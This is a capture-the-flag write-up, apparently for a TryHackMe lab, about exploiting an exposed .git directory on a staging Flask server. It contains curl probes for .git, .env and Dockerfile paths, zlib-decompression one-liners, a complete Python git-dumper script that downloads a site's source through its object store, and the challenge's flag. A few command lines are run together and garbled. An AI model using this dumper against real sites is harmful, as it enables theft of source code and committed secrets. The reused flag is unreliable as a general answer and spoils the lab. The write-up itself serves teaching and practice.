=============================================================
Byte Lotus .git Source Code Disclosure — Full Command Log
=============================================================
Target: http://MACHINE_IP:8080
---- Step 1: Initial Recon ----
Fetch homepage with headers
curl.exe -s -i http://MACHINE_IP:8080
Check robots.txt
curl.exe -s http://MACHINE_IP:8080/robots.txt
---- Step 2: .git Exposure Check ----
Check .git/config
curl.exe -s -o NUL -w "%{http_code}`n" http://MACHINE_IP:8080/.git/config
Check .git/HEAD
curl.exe -s http://MACHINE_IP:8080/.git/HEAD
Check other common paths
curl.exe -s -o NUL -w "%{http_code}n" http://MACHINE_IP:8080/.envn" http://MACHINE_IP:8080/Dockerfile
curl.exe -s -o NUL -w "%{http_code}
---- Step 3: Git Object Traversal ----
Fetch commit object (from HEAD ref)
curl.exe -s http://MACHINE_IP:8080/.git/objects/0f/13550b4cb13e9f30c61d5b342c532d21e45bda | `
python -c "import zlib,sys; data=zlib.decompress(sys.stdin.buffer.read()); print(data.decode())"
Extract tree hash -> fa45dbd69394ea9e13683d9efb6a0220daac59d4
Fetch tree object
curl.exe -s http://MACHINE_IP:8080/.git/objects/fa/45dbd69394ea9e13683d9efb6a0220daac59d4 | `
python -c "import zlib,sys; data=zlib.decompress(sys.stdin.buffer.read()); null=data.find(b'\x00'); print(data[null+1:])"
---- Step 4: Retrieve Files ----
README.md (contains flag)
curl.exe -s http://MACHINE_IP:8080/.git/objects/a5/965c580fee91d852e5b19a8290da02d2926523 | `
python -c "import zlib,sys; data=zlib.decompress(sys.stdin.buffer.read()); null=data.find(b'\x00'); print(data[null+1:].decode())"
app.js
curl.exe -s http://MACHINE_IP:8080/.git/objects/25/75ab073f67615a27135663ed36794c2d2584fb | `
python -c "import zlib,sys; data=zlib.decompress(sys.stdin.buffer.read()); null=data.find(b'\x00'); print(data[null+1:].decode())"
index.html
curl.exe -s http://MACHINE_IP:8080/.git/objects/0a/12caa4e52a965e89e5eccf5760924b21aacbf7 | `
python -c "import zlib,sys; data=zlib.decompress(sys.stdin.buffer.read()); null=data.find(b'\x00'); print(data[null+1:].decode())"
---- Step 5: Alternative - Use Python dumper script ----
python git_dump.py http://MACHINE_IP:8080 ./dump_output
# GIT DUMPER - Fetches files from an exposed .git directory
# Usage: python git_dump.py <base_url> <output_dir>
import urllib.request
import zlib
import os
import sys
BASE = sys.argv[1].rstrip('/')
OUT = sys.argv[2]
def fetch_obj(sha):
path = f"/.git/objects/{sha[:2]}/{sha[2:]}"
url = BASE + path
try:
resp = urllib.request.urlopen(url)
return resp.read()
except Exception as e:
print(f" FAIL: {url} -> {e}")
return None
def write_file(path, data):
full = os.path.join(OUT, path)
os.makedirs(os.path.dirname(full), exist_ok=True)
with open(full, 'wb') as f:
f.write(data)
def parse_tree(data):
null = data.find(b'\x00')
content = data[null+1:]
entries = []
i = 0
while i < len(content):
space = content.find(b' ', i)
mode = content[i:space].decode()
null2 = content.find(b'\x00', space+1)
name = content[space+1:null2].decode()
sha_start = null2 + 1
sha = content[sha_start:sha_start+20].hex()
entries.append((mode, name, sha))
i = sha_start + 20
return entries
# Read HEAD
head_raw = urllib.request.urlopen(BASE + '/.git/HEAD').read().decode().strip()
print(f"HEAD: {head_raw}")
if head_raw.startswith('ref: '):
ref_path = head_raw[5:]
commit_hash = urllib.request.urlopen(BASE + '/.git/' + ref_path).read().decode().strip()
else:
commit_hash = head_raw
print(f"Commit hash: {commit_hash}")
# Fetch commit
commit_raw = fetch_obj(commit_hash)
commit_data = zlib.decompress(commit_raw).decode()
print(f"Commit:\n{commit_data}")
for line in commit_data.split('\n'):
if line.startswith('tree '):
tree_hash = line.split()[1]
break
print(f"Tree hash: {tree_hash}")
# Fetch tree
tree_raw = fetch_obj(tree_hash)
tree_data = zlib.decompress(tree_raw)
entries = parse_tree(tree_data)
downloaded = []
for mode, name, sha in entries:
print(f" {mode} {name} -> {sha}")
if mode in ('100644', '100664'):
blob_raw = fetch_obj(sha)
if blob_raw:
blob_data = zlib.decompress(blob_raw)
null = blob_data.find(b'\x00')
content = blob_data[null+1:]
write_file(name, content)
downloaded.append(name)
print(f" -> Written {name} ({len(content)} bytes)")
print(f"\nDownloaded: {', '.join(downloaded)}")
Byte Lotus — .git Source Code Disclosure
Target: http://MACHINE_IP:8080
Category: Web
Difficulty: Very Easy
Flag: THM{byt3_l0tus_n3v3r_f0rg3ts}
Step-by-Step
Step 1 — Initial Reconnaissance
Check the homepage and response headers to identify the tech stack.
curl.exe -s -i http://MACHINE_IP:8080
Finding: Werkzeug/3.0.1 Python/3.12.3 — Flask/Python app. Footer reads "build staging", suggesting a development build with possible source exposure.
Also checked /robots.txt — returned 404 (nothing there).
Step 2 — Check for .git Exposure
Check common source-code disclosure paths.
curl.exe -s -o NUL -w "%{http_code}" http://MACHINE_IP:8080/.git/config
curl.exe -s http://MACHINE_IP:8080/.git/HEAD
Finding: /.git/config → 200 OK. /.git/HEAD → ref: refs/heads/main
The entire .git directory is exposed.
Step 3 — Dump the Git Repository
Fetch the commit object to find the tree hash, then walk the tree to find file blobs.
curl.exe -s http://MACHINE_IP:8080/.git/objects/0f/13550b4cb13e9f30c61d5b342c532d21e45bda
Decompress the commit object to extract the tree hash: fa45dbd69394ea9e13683d9efb6a0220daac59d4
Fetch and parse the tree object:
curl.exe -s http://MACHINE_IP:8080/.git/objects/fa/45dbd69394ea9e13683d9efb6a0220daac59d4
Tree contents:
| Mode | File | Hash |
|------|------|------|
| 100644 | README.md | a5965c580fee91d852e5b19a8290da02d2926523 |
| 100644 | app.js | 2575ab073f67615a27135663ed36794c2d2584fb |
| 100644 | index.html | 0a12caa4e52a965e89e5eccf5760924b21aacbf7 |
Step 4 — Fetch and Read Each File
README.md — contained the flag:
curl.exe -s http://MACHINE_IP:8080/.git/objects/a5/965c580fee91d852e5b19a8290da02d2926523 | python -c "import zlib,sys; data=zlib.decompress(sys.stdin.buffer.read()); null=data.find(b'\x00'); print(data[null+1:].decode())"
Output:
# Byte Lotus — Guest Experience Platform
Internal staging repository for the guest app and concierge personalization
service. Do not deploy this folder to production.
Staging flag (remove before launch): THM{byt3_l0tus_n3v3r_f0rg3ts}
app.js — front-end stub, no flag.
index.html — same as the homepage, no flag.
Tools Used
-
curl.exe— HTTP requests -
python3— decompress git objects (zlib) - Manual git object traversal (commit → tree → blobs)
Vulnerability
A /.git directory exposed on a staging server. The developer committed a "remove before launch" flag directly in README.md, and the production deployment left the .git metadata accessible.

Top comments (0)